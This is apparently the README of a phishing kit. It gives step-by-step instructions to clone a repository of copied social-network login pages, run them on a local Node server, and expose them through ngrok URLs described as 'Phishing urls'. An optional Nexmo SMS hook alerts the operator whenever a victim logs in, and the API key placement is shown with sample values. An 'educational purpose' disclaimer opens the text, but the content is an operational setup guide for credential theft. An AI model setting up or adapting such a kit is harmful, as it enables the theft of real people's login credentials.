All the information on this example is published in good faith and for educational information purpose only. Author does not make any warranties about the completeness, reliability and accuracy of this information. Any action you take upon the information you find on this example (Phishing), is strictly at your own risk. Author will not be liable for any losses and/or damages in connection with the use of this example.
Phishing example on some social networks on localhost and sms geteway inegration
- NodeJs
- Npm
- ngrok (npm)
- Account on "nexmo.com" (or other "sms gateway" service) *optional
git clone https://github.com/SurenAt93/Phishing.git
cd Phishing
npm i
If you want to get SMS messages when anyone has logged in your copied page, then your application should be integrated with any "sms gateway" service and set sms=true before running your local server (e.g. sms=true node app.js).
I show example on "nexmo.com"
Create account on "nexmo.com" and get "api_key" and "api_secret"
Then open "config/config.json" file and put this values in 6 and 7 lines
5. "data": {
6. "api_key": "4491cea3",
7. "api_secret": "3f894740395a6c5f",
8. ....
We are using ngrok to create secure tunnels to localhost
sudo npm i -g ngrok
ngrok http 8080
In output ngrok gives you two urls for http:// and https://. These urls you can use as Phishing urls.
- You can set any port, but remember that your server should be run on the same port.
node app.js